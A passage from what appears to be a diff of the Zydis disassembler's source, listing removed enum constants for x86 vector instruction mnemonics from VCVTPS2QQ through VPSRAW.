ZYDIS_MNEMONIC_VCVTPS2QQ, - ZYDIS_MNEMONIC_VCVTPS2UDQ, - ZYDIS_MNEMONIC_VCVTPS2UQQ, - ZYDIS_MNEMONIC_VCVTQQ2PD, - ZYDIS_MNEMONIC_VCVTQQ2PS, - ZYDIS_MNEMONIC_VCVTSD2SI, - ZYDIS_MNEMONIC_VCVTSD2SS, - ZYDIS_MNEMONIC_VCVTSD2USI, - ZYDIS_MNEMONIC_VCVTSI2SD, - ZYDIS_MNEMONIC_VCVTSI2SS, - ZYDIS_MNEMONIC_VCVTSS2SD, - ZYDIS_MNEMONIC_VCVTSS2SI, - ZYDIS_MNEMONIC_VCVTSS2USI, - ZYDIS_MNEMONIC_VCVTTPD2DQ, - ZYDIS_MNEMONIC_VCVTTPD2QQ, - ZYDIS_MNEMONIC_VCVTTPD2UDQ, - ZYDIS_MNEMONIC_VCVTTPD2UQQ, - ZYDIS_MNEMONIC_VCVTTPS2DQ, - ZYDIS_MNEMONIC_VCVTTPS2QQ, - ZYDIS_MNEMONIC_VCVTTPS2UDQ, - ZYDIS_MNEMONIC_VCVTTPS2UQQ, - ZYDIS_MNEMONIC_VCVTTSD2SI, - ZYDIS_MNEMONIC_VCVTTSD2USI, - ZYDIS_MNEMONIC_VCVTTSS2SI, - ZYDIS_MNEMONIC_VCVTTSS2USI, - ZYDIS_MNEMONIC_VCVTUDQ2PD, - ZYDIS_MNEMONIC_VCVTUDQ2PS, - ZYDIS_MNEMONIC_VCVTUQQ2PD, - ZYDIS_MNEMONIC_VCVTUQQ2PS, - ZYDIS_MNEMONIC_VCVTUSI2SD, - ZYDIS_MNEMONIC_VCVTUSI2SS, - ZYDIS_MNEMONIC_VDBPSADBW, - ZYDIS_MNEMONIC_VDIVPD, - ZYDIS_MNEMONIC_VDIVPS, - ZYDIS_MNEMONIC_VDIVSD, - ZYDIS_MNEMONIC_VDIVSS, - ZYDIS_MNEMONIC_VDPBF16PS, - ZYDIS_MNEMONIC_VDPPD, - ZYDIS_MNEMONIC_VDPPS, - ZYDIS_MNEMONIC_VERR, - ZYDIS_MNEMONIC_VERW, - ZYDIS_MNEMONIC_VEXP223PS, - ZYDIS_MNEMONIC_VEXP2PD, - ZYDIS_MNEMONIC_VEXP2PS, - ZYDIS_MNEMONIC_VEXPANDPD, - ZYDIS_MNEMONIC_VEXPANDPS, - ZYDIS_MNEMONIC_VEXTRACTF128, - ZYDIS_MNEMONIC_VEXTRACTF32X4, - ZYDIS_MNEMONIC_VEXTRACTF32X8, - ZYDIS_MNEMONIC_VEXTRACTF64X2, - ZYDIS_MNEMONIC_VEXTRACTF64X4, - ZYDIS_MNEMONIC_VEXTRACTI128, - ZYDIS_MNEMONIC_VEXTRACTI32X4, - ZYDIS_MNEMONIC_VEXTRACTI32X8, - ZYDIS_MNEMONIC_VEXTRACTI64X2, - ZYDIS_MNEMONIC_VEXTRACTI64X4, - ZYDIS_MNEMONIC_VEXTRACTPS, - ZYDIS_MNEMONIC_VFIXUPIMMPD, - ZYDIS_MNEMONIC_VFIXUPIMMPS, - ZYDIS_MNEMONIC_VFIXUPIMMSD, - ZYDIS_MNEMONIC_VFIXUPIMMSS, - ZYDIS_MNEMONIC_VFIXUPNANPD, - ZYDIS_MNEMONIC_VFIXUPNANPS, - ZYDIS_MNEMONIC_VFMADD132PD, - ZYDIS_MNEMONIC_VFMADD132PS, - ZYDIS_MNEMONIC_VFMADD132SD, - ZYDIS_MNEMONIC_VFMADD132SS, - ZYDIS_MNEMONIC_VFMADD213PD, - ZYDIS_MNEMONIC_VFMADD213PS, - ZYDIS_MNEMONIC_VFMADD213SD, - ZYDIS_MNEMONIC_VFMADD213SS, - ZYDIS_MNEMONIC_VFMADD231PD, - ZYDIS_MNEMONIC_VFMADD231PS, - ZYDIS_MNEMONIC_VFMADD231SD, - ZYDIS_MNEMONIC_VFMADD231SS, - ZYDIS_MNEMONIC_VFMADD233PS, - ZYDIS_MNEMONIC_VFMADDPD, - ZYDIS_MNEMONIC_VFMADDPS, - ZYDIS_MNEMONIC_VFMADDSD, - ZYDIS_MNEMONIC_VFMADDSS, - ZYDIS_MNEMONIC_VFMADDSUB132PD, - ZYDIS_MNEMONIC_VFMADDSUB132PS, - ZYDIS_MNEMONIC_VFMADDSUB213PD, - ZYDIS_MNEMONIC_VFMADDSUB213PS, - ZYDIS_MNEMONIC_VFMADDSUB231PD, - ZYDIS_MNEMONIC_VFMADDSUB231PS, - ZYDIS_MNEMONIC_VFMADDSUBPD, - ZYDIS_MNEMONIC_VFMADDSUBPS, - ZYDIS_MNEMONIC_VFMSUB132PD, - ZYDIS_MNEMONIC_VFMSUB132PS, - ZYDIS_MNEMONIC_VFMSUB132SD, - ZYDIS_MNEMONIC_VFMSUB132SS, - ZYDIS_MNEMONIC_VFMSUB213PD, - ZYDIS_MNEMONIC_VFMSUB213PS, - ZYDIS_MNEMONIC_VFMSUB213SD, - ZYDIS_MNEMONIC_VFMSUB213SS, - ZYDIS_MNEMONIC_VFMSUB231PD, - ZYDIS_MNEMONIC_VFMSUB231PS, - ZYDIS_MNEMONIC_VFMSUB231SD, - ZYDIS_MNEMONIC_VFMSUB231SS, - ZYDIS_MNEMONIC_VFMSUBADD132PD, - ZYDIS_MNEMONIC_VFMSUBADD132PS, - ZYDIS_MNEMONIC_VFMSUBADD213PD, - ZYDIS_MNEMONIC_VFMSUBADD213PS, - ZYDIS_MNEMONIC_VFMSUBADD231PD, - ZYDIS_MNEMONIC_VFMSUBADD231PS, - ZYDIS_MNEMONIC_VFMSUBADDPD, - ZYDIS_MNEMONIC_VFMSUBADDPS, - ZYDIS_MNEMONIC_VFMSUBPD, - ZYDIS_MNEMONIC_VFMSUBPS, - ZYDIS_MNEMONIC_VFMSUBSD, - ZYDIS_MNEMONIC_VFMSUBSS, - ZYDIS_MNEMONIC_VFNMADD132PD, - ZYDIS_MNEMONIC_VFNMADD132PS, - ZYDIS_MNEMONIC_VFNMADD132SD, - ZYDIS_MNEMONIC_VFNMADD132SS, - ZYDIS_MNEMONIC_VFNMADD213PD, - ZYDIS_MNEMONIC_VFNMADD213PS, - ZYDIS_MNEMONIC_VFNMADD213SD, - ZYDIS_MNEMONIC_VFNMADD213SS, - ZYDIS_MNEMONIC_VFNMADD231PD, - ZYDIS_MNEMONIC_VFNMADD231PS, - ZYDIS_MNEMONIC_VFNMADD231SD, - ZYDIS_MNEMONIC_VFNMADD231SS, - ZYDIS_MNEMONIC_VFNMADDPD, - ZYDIS_MNEMONIC_VFNMADDPS, - ZYDIS_MNEMONIC_VFNMADDSD, - ZYDIS_MNEMONIC_VFNMADDSS, - ZYDIS_MNEMONIC_VFNMSUB132PD, - ZYDIS_MNEMONIC_VFNMSUB132PS, - ZYDIS_MNEMONIC_VFNMSUB132SD, - ZYDIS_MNEMONIC_VFNMSUB132SS, - ZYDIS_MNEMONIC_VFNMSUB213PD, - ZYDIS_MNEMONIC_VFNMSUB213PS, - ZYDIS_MNEMONIC_VFNMSUB213SD, - ZYDIS_MNEMONIC_VFNMSUB213SS, - ZYDIS_MNEMONIC_VFNMSUB231PD, - ZYDIS_MNEMONIC_VFNMSUB231PS, - ZYDIS_MNEMONIC_VFNMSUB231SD, - ZYDIS_MNEMONIC_VFNMSUB231SS, - ZYDIS_MNEMONIC_VFNMSUBPD, - ZYDIS_MNEMONIC_VFNMSUBPS, - ZYDIS_MNEMONIC_VFNMSUBSD, - ZYDIS_MNEMONIC_VFNMSUBSS, - ZYDIS_MNEMONIC_VFPCLASSPD, - ZYDIS_MNEMONIC_VFPCLASSPS, - ZYDIS_MNEMONIC_VFPCLASSSD, - ZYDIS_MNEMONIC_VFPCLASSSS, - ZYDIS_MNEMONIC_VFRCZPD, - ZYDIS_MNEMONIC_VFRCZPS, - ZYDIS_MNEMONIC_VFRCZSD, - ZYDIS_MNEMONIC_VFRCZSS, - ZYDIS_MNEMONIC_VGATHERDPD, - ZYDIS_MNEMONIC_VGATHERDPS, - ZYDIS_MNEMONIC_VGATHERPF0DPD, - ZYDIS_MNEMONIC_VGATHERPF0DPS, - ZYDIS_MNEMONIC_VGATHERPF0HINTDPD, - ZYDIS_MNEMONIC_VGATHERPF0HINTDPS, - ZYDIS_MNEMONIC_VGATHERPF0QPD, - ZYDIS_MNEMONIC_VGATHERPF0QPS, - ZYDIS_MNEMONIC_VGATHERPF1DPD, - ZYDIS_MNEMONIC_VGATHERPF1DPS, - ZYDIS_MNEMONIC_VGATHERPF1QPD, - ZYDIS_MNEMONIC_VGATHERPF1QPS, - ZYDIS_MNEMONIC_VGATHERQPD, - ZYDIS_MNEMONIC_VGATHERQPS, - ZYDIS_MNEMONIC_VGETEXPPD, - ZYDIS_MNEMONIC_VGETEXPPS, - ZYDIS_MNEMONIC_VGETEXPSD, - ZYDIS_MNEMONIC_VGETEXPSS, - ZYDIS_MNEMONIC_VGETMANTPD, - ZYDIS_MNEMONIC_VGETMANTPS, - ZYDIS_MNEMONIC_VGETMANTSD, - ZYDIS_MNEMONIC_VGETMANTSS, - ZYDIS_MNEMONIC_VGF2P8AFFINEINVQB, - ZYDIS_MNEMONIC_VGF2P8AFFINEQB, - ZYDIS_MNEMONIC_VGF2P8MULB, - ZYDIS_MNEMONIC_VGMAXABSPS, - ZYDIS_MNEMONIC_VGMAXPD, - ZYDIS_MNEMONIC_VGMAXPS, - ZYDIS_MNEMONIC_VGMINPD, - ZYDIS_MNEMONIC_VGMINPS, - ZYDIS_MNEMONIC_VHADDPD, - ZYDIS_MNEMONIC_VHADDPS, - ZYDIS_MNEMONIC_VHSUBPD, - ZYDIS_MNEMONIC_VHSUBPS, - ZYDIS_MNEMONIC_VINSERTF128, - ZYDIS_MNEMONIC_VINSERTF32X4, - ZYDIS_MNEMONIC_VINSERTF32X8, - ZYDIS_MNEMONIC_VINSERTF64X2, - ZYDIS_MNEMONIC_VINSERTF64X4, - ZYDIS_MNEMONIC_VINSERTI128, - ZYDIS_MNEMONIC_VINSERTI32X4, - ZYDIS_MNEMONIC_VINSERTI32X8, - ZYDIS_MNEMONIC_VINSERTI64X2, - ZYDIS_MNEMONIC_VINSERTI64X4, - ZYDIS_MNEMONIC_VINSERTPS, - ZYDIS_MNEMONIC_VLDDQU, - ZYDIS_MNEMONIC_VLDMXCSR, - ZYDIS_MNEMONIC_VLOADUNPACKHD, - ZYDIS_MNEMONIC_VLOADUNPACKHPD, - ZYDIS_MNEMONIC_VLOADUNPACKHPS, - ZYDIS_MNEMONIC_VLOADUNPACKHQ, - ZYDIS_MNEMONIC_VLOADUNPACKLD, - ZYDIS_MNEMONIC_VLOADUNPACKLPD, - ZYDIS_MNEMONIC_VLOADUNPACKLPS, - ZYDIS_MNEMONIC_VLOADUNPACKLQ, - ZYDIS_MNEMONIC_VLOG2PS, - ZYDIS_MNEMONIC_VMASKMOVDQU, - ZYDIS_MNEMONIC_VMASKMOVPD, - ZYDIS_MNEMONIC_VMASKMOVPS, - ZYDIS_MNEMONIC_VMAXPD, - ZYDIS_MNEMONIC_VMAXPS, - ZYDIS_MNEMONIC_VMAXSD, - ZYDIS_MNEMONIC_VMAXSS, - ZYDIS_MNEMONIC_VMCALL, - ZYDIS_MNEMONIC_VMCLEAR, - ZYDIS_MNEMONIC_VMFUNC, - ZYDIS_MNEMONIC_VMINPD, - ZYDIS_MNEMONIC_VMINPS, - ZYDIS_MNEMONIC_VMINSD, - ZYDIS_MNEMONIC_VMINSS, - ZYDIS_MNEMONIC_VMLAUNCH, - ZYDIS_MNEMONIC_VMLOAD, - ZYDIS_MNEMONIC_VMMCALL, - ZYDIS_MNEMONIC_VMOVAPD, - ZYDIS_MNEMONIC_VMOVAPS, - ZYDIS_MNEMONIC_VMOVD, - ZYDIS_MNEMONIC_VMOVDDUP, - ZYDIS_MNEMONIC_VMOVDQA, - ZYDIS_MNEMONIC_VMOVDQA32, - ZYDIS_MNEMONIC_VMOVDQA64, - ZYDIS_MNEMONIC_VMOVDQU, - ZYDIS_MNEMONIC_VMOVDQU16, - ZYDIS_MNEMONIC_VMOVDQU32, - ZYDIS_MNEMONIC_VMOVDQU64, - ZYDIS_MNEMONIC_VMOVDQU8, - ZYDIS_MNEMONIC_VMOVHLPS, - ZYDIS_MNEMONIC_VMOVHPD, - ZYDIS_MNEMONIC_VMOVHPS, - ZYDIS_MNEMONIC_VMOVLHPS, - ZYDIS_MNEMONIC_VMOVLPD, - ZYDIS_MNEMONIC_VMOVLPS, - ZYDIS_MNEMONIC_VMOVMSKPD, - ZYDIS_MNEMONIC_VMOVMSKPS, - ZYDIS_MNEMONIC_VMOVNRAPD, - ZYDIS_MNEMONIC_VMOVNRAPS, - ZYDIS_MNEMONIC_VMOVNRNGOAPD, - ZYDIS_MNEMONIC_VMOVNRNGOAPS, - ZYDIS_MNEMONIC_VMOVNTDQ, - ZYDIS_MNEMONIC_VMOVNTDQA, - ZYDIS_MNEMONIC_VMOVNTPD, - ZYDIS_MNEMONIC_VMOVNTPS, - ZYDIS_MNEMONIC_VMOVQ, - ZYDIS_MNEMONIC_VMOVSD, - ZYDIS_MNEMONIC_VMOVSHDUP, - ZYDIS_MNEMONIC_VMOVSLDUP, - ZYDIS_MNEMONIC_VMOVSS, - ZYDIS_MNEMONIC_VMOVUPD, - ZYDIS_MNEMONIC_VMOVUPS, - ZYDIS_MNEMONIC_VMPSADBW, - ZYDIS_MNEMONIC_VMPTRLD, - ZYDIS_MNEMONIC_VMPTRST, - ZYDIS_MNEMONIC_VMREAD, - ZYDIS_MNEMONIC_VMRESUME, - ZYDIS_MNEMONIC_VMRUN, - ZYDIS_MNEMONIC_VMSAVE, - ZYDIS_MNEMONIC_VMULPD, - ZYDIS_MNEMONIC_VMULPS, - ZYDIS_MNEMONIC_VMULSD, - ZYDIS_MNEMONIC_VMULSS, - ZYDIS_MNEMONIC_VMWRITE, - ZYDIS_MNEMONIC_VMXOFF, - ZYDIS_MNEMONIC_VMXON, - ZYDIS_MNEMONIC_VORPD, - ZYDIS_MNEMONIC_VORPS, - ZYDIS_MNEMONIC_VP2INTERSECTD, - ZYDIS_MNEMONIC_VP2INTERSECTQ, - ZYDIS_MNEMONIC_VP4DPWSSD, - ZYDIS_MNEMONIC_VP4DPWSSDS, - ZYDIS_MNEMONIC_VPABSB, - ZYDIS_MNEMONIC_VPABSD, - ZYDIS_MNEMONIC_VPABSQ, - ZYDIS_MNEMONIC_VPABSW, - ZYDIS_MNEMONIC_VPACKSSDW, - ZYDIS_MNEMONIC_VPACKSSWB, - ZYDIS_MNEMONIC_VPACKSTOREHD, - ZYDIS_MNEMONIC_VPACKSTOREHPD, - ZYDIS_MNEMONIC_VPACKSTOREHPS, - ZYDIS_MNEMONIC_VPACKSTOREHQ, - ZYDIS_MNEMONIC_VPACKSTORELD, - ZYDIS_MNEMONIC_VPACKSTORELPD, - ZYDIS_MNEMONIC_VPACKSTORELPS, - ZYDIS_MNEMONIC_VPACKSTORELQ, - ZYDIS_MNEMONIC_VPACKUSDW, - ZYDIS_MNEMONIC_VPACKUSWB, - ZYDIS_MNEMONIC_VPADCD, - ZYDIS_MNEMONIC_VPADDB, - ZYDIS_MNEMONIC_VPADDD, - ZYDIS_MNEMONIC_VPADDQ, - ZYDIS_MNEMONIC_VPADDSB, - ZYDIS_MNEMONIC_VPADDSETCD, - ZYDIS_MNEMONIC_VPADDSETSD, - ZYDIS_MNEMONIC_VPADDSW, - ZYDIS_MNEMONIC_VPADDUSB, - ZYDIS_MNEMONIC_VPADDUSW, - ZYDIS_MNEMONIC_VPADDW, - ZYDIS_MNEMONIC_VPALIGNR, - ZYDIS_MNEMONIC_VPAND, - ZYDIS_MNEMONIC_VPANDD, - ZYDIS_MNEMONIC_VPANDN, - ZYDIS_MNEMONIC_VPANDND, - ZYDIS_MNEMONIC_VPANDNQ, - ZYDIS_MNEMONIC_VPANDQ, - ZYDIS_MNEMONIC_VPAVGB, - ZYDIS_MNEMONIC_VPAVGW, - ZYDIS_MNEMONIC_VPBLENDD, - ZYDIS_MNEMONIC_VPBLENDMB, - ZYDIS_MNEMONIC_VPBLENDMD, - ZYDIS_MNEMONIC_VPBLENDMQ, - ZYDIS_MNEMONIC_VPBLENDMW, - ZYDIS_MNEMONIC_VPBLENDVB, - ZYDIS_MNEMONIC_VPBLENDW, - ZYDIS_MNEMONIC_VPBROADCASTB, - ZYDIS_MNEMONIC_VPBROADCASTD, - ZYDIS_MNEMONIC_VPBROADCASTMB2Q, - ZYDIS_MNEMONIC_VPBROADCASTMW2D, - ZYDIS_MNEMONIC_VPBROADCASTQ, - ZYDIS_MNEMONIC_VPBROADCASTW, - ZYDIS_MNEMONIC_VPCLMULQDQ, - ZYDIS_MNEMONIC_VPCMOV, - ZYDIS_MNEMONIC_VPCMPB, - ZYDIS_MNEMONIC_VPCMPD, - ZYDIS_MNEMONIC_VPCMPEQB, - ZYDIS_MNEMONIC_VPCMPEQD, - ZYDIS_MNEMONIC_VPCMPEQQ, - ZYDIS_MNEMONIC_VPCMPEQW, - ZYDIS_MNEMONIC_VPCMPESTRI, - ZYDIS_MNEMONIC_VPCMPESTRM, - ZYDIS_MNEMONIC_VPCMPGTB, - ZYDIS_MNEMONIC_VPCMPGTD, - ZYDIS_MNEMONIC_VPCMPGTQ, - ZYDIS_MNEMONIC_VPCMPGTW, - ZYDIS_MNEMONIC_VPCMPISTRI, - ZYDIS_MNEMONIC_VPCMPISTRM, - ZYDIS_MNEMONIC_VPCMPLTD, - ZYDIS_MNEMONIC_VPCMPQ, - ZYDIS_MNEMONIC_VPCMPUB, - ZYDIS_MNEMONIC_VPCMPUD, - ZYDIS_MNEMONIC_VPCMPUQ, - ZYDIS_MNEMONIC_VPCMPUW, - ZYDIS_MNEMONIC_VPCMPW, - ZYDIS_MNEMONIC_VPCOMB, - ZYDIS_MNEMONIC_VPCOMD, - ZYDIS_MNEMONIC_VPCOMPRESSB, - ZYDIS_MNEMONIC_VPCOMPRESSD, - ZYDIS_MNEMONIC_VPCOMPRESSQ, - ZYDIS_MNEMONIC_VPCOMPRESSW, - ZYDIS_MNEMONIC_VPCOMQ, - ZYDIS_MNEMONIC_VPCOMUB, - ZYDIS_MNEMONIC_VPCOMUD, - ZYDIS_MNEMONIC_VPCOMUQ, - ZYDIS_MNEMONIC_VPCOMUW, - ZYDIS_MNEMONIC_VPCOMW, - ZYDIS_MNEMONIC_VPCONFLICTD, - ZYDIS_MNEMONIC_VPCONFLICTQ, - ZYDIS_MNEMONIC_VPDPBUSD, - ZYDIS_MNEMONIC_VPDPBUSDS, - ZYDIS_MNEMONIC_VPDPWSSD, - ZYDIS_MNEMONIC_VPDPWSSDS, - ZYDIS_MNEMONIC_VPERM2F128, - ZYDIS_MNEMONIC_VPERM2I128, - ZYDIS_MNEMONIC_VPERMB, - ZYDIS_MNEMONIC_VPERMD, - ZYDIS_MNEMONIC_VPERMF32X4, - ZYDIS_MNEMONIC_VPERMI2B, - ZYDIS_MNEMONIC_VPERMI2D, - ZYDIS_MNEMONIC_VPERMI2PD, - ZYDIS_MNEMONIC_VPERMI2PS, - ZYDIS_MNEMONIC_VPERMI2Q, - ZYDIS_MNEMONIC_VPERMI2W, - ZYDIS_MNEMONIC_VPERMIL2PD, - ZYDIS_MNEMONIC_VPERMIL2PS, - ZYDIS_MNEMONIC_VPERMILPD, - ZYDIS_MNEMONIC_VPERMILPS, - ZYDIS_MNEMONIC_VPERMPD, - ZYDIS_MNEMONIC_VPERMPS, - ZYDIS_MNEMONIC_VPERMQ, - ZYDIS_MNEMONIC_VPERMT2B, - ZYDIS_MNEMONIC_VPERMT2D, - ZYDIS_MNEMONIC_VPERMT2PD, - ZYDIS_MNEMONIC_VPERMT2PS, - ZYDIS_MNEMONIC_VPERMT2Q, - ZYDIS_MNEMONIC_VPERMT2W, - ZYDIS_MNEMONIC_VPERMW, - ZYDIS_MNEMONIC_VPEXPANDB, - ZYDIS_MNEMONIC_VPEXPANDD, - ZYDIS_MNEMONIC_VPEXPANDQ, - ZYDIS_MNEMONIC_VPEXPANDW, - ZYDIS_MNEMONIC_VPEXTRB, - ZYDIS_MNEMONIC_VPEXTRD, - ZYDIS_MNEMONIC_VPEXTRQ, - ZYDIS_MNEMONIC_VPEXTRW, - ZYDIS_MNEMONIC_VPGATHERDD, - ZYDIS_MNEMONIC_VPGATHERDQ, - ZYDIS_MNEMONIC_VPGATHERQD, - ZYDIS_MNEMONIC_VPGATHERQQ, - ZYDIS_MNEMONIC_VPHADDBD, - ZYDIS_MNEMONIC_VPHADDBQ, - ZYDIS_MNEMONIC_VPHADDBW, - ZYDIS_MNEMONIC_VPHADDD, - ZYDIS_MNEMONIC_VPHADDDQ, - ZYDIS_MNEMONIC_VPHADDSW, - ZYDIS_MNEMONIC_VPHADDUBD, - ZYDIS_MNEMONIC_VPHADDUBQ, - ZYDIS_MNEMONIC_VPHADDUBW, - ZYDIS_MNEMONIC_VPHADDUDQ, - ZYDIS_MNEMONIC_VPHADDUWD, - ZYDIS_MNEMONIC_VPHADDUWQ, - ZYDIS_MNEMONIC_VPHADDW, - ZYDIS_MNEMONIC_VPHADDWD, - ZYDIS_MNEMONIC_VPHADDWQ, - ZYDIS_MNEMONIC_VPHMINPOSUW, - ZYDIS_MNEMONIC_VPHSUBBW, - ZYDIS_MNEMONIC_VPHSUBD, - ZYDIS_MNEMONIC_VPHSUBDQ, - ZYDIS_MNEMONIC_VPHSUBSW, - ZYDIS_MNEMONIC_VPHSUBW, - ZYDIS_MNEMONIC_VPHSUBWD, - ZYDIS_MNEMONIC_VPINSRB, - ZYDIS_MNEMONIC_VPINSRD, - ZYDIS_MNEMONIC_VPINSRQ, - ZYDIS_MNEMONIC_VPINSRW, - ZYDIS_MNEMONIC_VPLZCNTD, - ZYDIS_MNEMONIC_VPLZCNTQ, - ZYDIS_MNEMONIC_VPMACSDD, - ZYDIS_MNEMONIC_VPMACSDQH, - ZYDIS_MNEMONIC_VPMACSDQL, - ZYDIS_MNEMONIC_VPMACSSDD, - ZYDIS_MNEMONIC_VPMACSSDQH, - ZYDIS_MNEMONIC_VPMACSSDQL, - ZYDIS_MNEMONIC_VPMACSSWD, - ZYDIS_MNEMONIC_VPMACSSWW, - ZYDIS_MNEMONIC_VPMACSWD, - ZYDIS_MNEMONIC_VPMACSWW, - ZYDIS_MNEMONIC_VPMADCSSWD, - ZYDIS_MNEMONIC_VPMADCSWD, - ZYDIS_MNEMONIC_VPMADD231D, - ZYDIS_MNEMONIC_VPMADD233D, - ZYDIS_MNEMONIC_VPMADD52HUQ, - ZYDIS_MNEMONIC_VPMADD52LUQ, - ZYDIS_MNEMONIC_VPMADDUBSW, - ZYDIS_MNEMONIC_VPMADDWD, - ZYDIS_MNEMONIC_VPMASKMOVD, - ZYDIS_MNEMONIC_VPMASKMOVQ, - ZYDIS_MNEMONIC_VPMAXSB, - ZYDIS_MNEMONIC_VPMAXSD, - ZYDIS_MNEMONIC_VPMAXSQ, - ZYDIS_MNEMONIC_VPMAXSW, - ZYDIS_MNEMONIC_VPMAXUB, - ZYDIS_MNEMONIC_VPMAXUD, - ZYDIS_MNEMONIC_VPMAXUQ, - ZYDIS_MNEMONIC_VPMAXUW, - ZYDIS_MNEMONIC_VPMINSB, - ZYDIS_MNEMONIC_VPMINSD, - ZYDIS_MNEMONIC_VPMINSQ, - ZYDIS_MNEMONIC_VPMINSW, - ZYDIS_MNEMONIC_VPMINUB, - ZYDIS_MNEMONIC_VPMINUD, - ZYDIS_MNEMONIC_VPMINUQ, - ZYDIS_MNEMONIC_VPMINUW, - ZYDIS_MNEMONIC_VPMOVB2M, - ZYDIS_MNEMONIC_VPMOVD2M, - ZYDIS_MNEMONIC_VPMOVDB, - ZYDIS_MNEMONIC_VPMOVDW, - ZYDIS_MNEMONIC_VPMOVM2B, - ZYDIS_MNEMONIC_VPMOVM2D, - ZYDIS_MNEMONIC_VPMOVM2Q, - ZYDIS_MNEMONIC_VPMOVM2W, - ZYDIS_MNEMONIC_VPMOVMSKB, - ZYDIS_MNEMONIC_VPMOVQ2M, - ZYDIS_MNEMONIC_VPMOVQB, - ZYDIS_MNEMONIC_VPMOVQD, - ZYDIS_MNEMONIC_VPMOVQW, - ZYDIS_MNEMONIC_VPMOVSDB, - ZYDIS_MNEMONIC_VPMOVSDW, - ZYDIS_MNEMONIC_VPMOVSQB, - ZYDIS_MNEMONIC_VPMOVSQD, - ZYDIS_MNEMONIC_VPMOVSQW, - ZYDIS_MNEMONIC_VPMOVSWB, - ZYDIS_MNEMONIC_VPMOVSXBD, - ZYDIS_MNEMONIC_VPMOVSXBQ, - ZYDIS_MNEMONIC_VPMOVSXBW, - ZYDIS_MNEMONIC_VPMOVSXDQ, - ZYDIS_MNEMONIC_VPMOVSXWD, - ZYDIS_MNEMONIC_VPMOVSXWQ, - ZYDIS_MNEMONIC_VPMOVUSDB, - ZYDIS_MNEMONIC_VPMOVUSDW, - ZYDIS_MNEMONIC_VPMOVUSQB, - ZYDIS_MNEMONIC_VPMOVUSQD, - ZYDIS_MNEMONIC_VPMOVUSQW, - ZYDIS_MNEMONIC_VPMOVUSWB, - ZYDIS_MNEMONIC_VPMOVW2M, - ZYDIS_MNEMONIC_VPMOVWB, - ZYDIS_MNEMONIC_VPMOVZXBD, - ZYDIS_MNEMONIC_VPMOVZXBQ, - ZYDIS_MNEMONIC_VPMOVZXBW, - ZYDIS_MNEMONIC_VPMOVZXDQ, - ZYDIS_MNEMONIC_VPMOVZXWD, - ZYDIS_MNEMONIC_VPMOVZXWQ, - ZYDIS_MNEMONIC_VPMULDQ, - ZYDIS_MNEMONIC_VPMULHD, - ZYDIS_MNEMONIC_VPMULHRSW, - ZYDIS_MNEMONIC_VPMULHUD, - ZYDIS_MNEMONIC_VPMULHUW, - ZYDIS_MNEMONIC_VPMULHW, - ZYDIS_MNEMONIC_VPMULLD, - ZYDIS_MNEMONIC_VPMULLQ, - ZYDIS_MNEMONIC_VPMULLW, - ZYDIS_MNEMONIC_VPMULTISHIFTQB, - ZYDIS_MNEMONIC_VPMULUDQ, - ZYDIS_MNEMONIC_VPOPCNTB, - ZYDIS_MNEMONIC_VPOPCNTD, - ZYDIS_MNEMONIC_VPOPCNTQ, - ZYDIS_MNEMONIC_VPOPCNTW, - ZYDIS_MNEMONIC_VPOR, - ZYDIS_MNEMONIC_VPORD, - ZYDIS_MNEMONIC_VPORQ, - ZYDIS_MNEMONIC_VPPERM, - ZYDIS_MNEMONIC_VPREFETCH0, - ZYDIS_MNEMONIC_VPREFETCH1, - ZYDIS_MNEMONIC_VPREFETCH2, - ZYDIS_MNEMONIC_VPREFETCHE0, - ZYDIS_MNEMONIC_VPREFETCHE1, - ZYDIS_MNEMONIC_VPREFETCHE2, - ZYDIS_MNEMONIC_VPREFETCHENTA, - ZYDIS_MNEMONIC_VPREFETCHNTA, - ZYDIS_MNEMONIC_VPROLD, - ZYDIS_MNEMONIC_VPROLQ, - ZYDIS_MNEMONIC_VPROLVD, - ZYDIS_MNEMONIC_VPROLVQ, - ZYDIS_MNEMONIC_VPRORD, - ZYDIS_MNEMONIC_VPRORQ, - ZYDIS_MNEMONIC_VPRORVD, - ZYDIS_MNEMONIC_VPRORVQ, - ZYDIS_MNEMONIC_VPROTB, - ZYDIS_MNEMONIC_VPROTD, - ZYDIS_MNEMONIC_VPROTQ, - ZYDIS_MNEMONIC_VPROTW, - ZYDIS_MNEMONIC_VPSADBW, - ZYDIS_MNEMONIC_VPSBBD, - ZYDIS_MNEMONIC_VPSBBRD, - ZYDIS_MNEMONIC_VPSCATTERDD, - ZYDIS_MNEMONIC_VPSCATTERDQ, - ZYDIS_MNEMONIC_VPSCATTERQD, - ZYDIS_MNEMONIC_VPSCATTERQQ, - ZYDIS_MNEMONIC_VPSHAB, - ZYDIS_MNEMONIC_VPSHAD, - ZYDIS_MNEMONIC_VPSHAQ, - ZYDIS_MNEMONIC_VPSHAW, - ZYDIS_MNEMONIC_VPSHLB, - ZYDIS_MNEMONIC_VPSHLD, - ZYDIS_MNEMONIC_VPSHLDD, - ZYDIS_MNEMONIC_VPSHLDQ, - ZYDIS_MNEMONIC_VPSHLDVD, - ZYDIS_MNEMONIC_VPSHLDVQ, - ZYDIS_MNEMONIC_VPSHLDVW, - ZYDIS_MNEMONIC_VPSHLDW, - ZYDIS_MNEMONIC_VPSHLQ, - ZYDIS_MNEMONIC_VPSHLW, - ZYDIS_MNEMONIC_VPSHRDD, - ZYDIS_MNEMONIC_VPSHRDQ, - ZYDIS_MNEMONIC_VPSHRDVD, - ZYDIS_MNEMONIC_VPSHRDVQ, - ZYDIS_MNEMONIC_VPSHRDVW, - ZYDIS_MNEMONIC_VPSHRDW, - ZYDIS_MNEMONIC_VPSHUFB, - ZYDIS_MNEMONIC_VPSHUFBITQMB, - ZYDIS_MNEMONIC_VPSHUFD, - ZYDIS_MNEMONIC_VPSHUFHW, - ZYDIS_MNEMONIC_VPSHUFLW, - ZYDIS_MNEMONIC_VPSIGNB, - ZYDIS_MNEMONIC_VPSIGND, - ZYDIS_MNEMONIC_VPSIGNW, - ZYDIS_MNEMONIC_VPSLLD, - ZYDIS_MNEMONIC_VPSLLDQ, - ZYDIS_MNEMONIC_VPSLLQ, - ZYDIS_MNEMONIC_VPSLLVD, - ZYDIS_MNEMONIC_VPSLLVQ, - ZYDIS_MNEMONIC_VPSLLVW, - ZYDIS_MNEMONIC_VPSLLW, - ZYDIS_MNEMONIC_VPSRAD, - ZYDIS_MNEMONIC_VPSRAQ, - ZYDIS_MNEMONIC_VPSRAVD, - ZYDIS_MNEMONIC_VPSRAVQ, - ZYDIS_MNEMONIC_VPSRAVW, - ZYDIS_MNEMONIC_VPSRAW, - 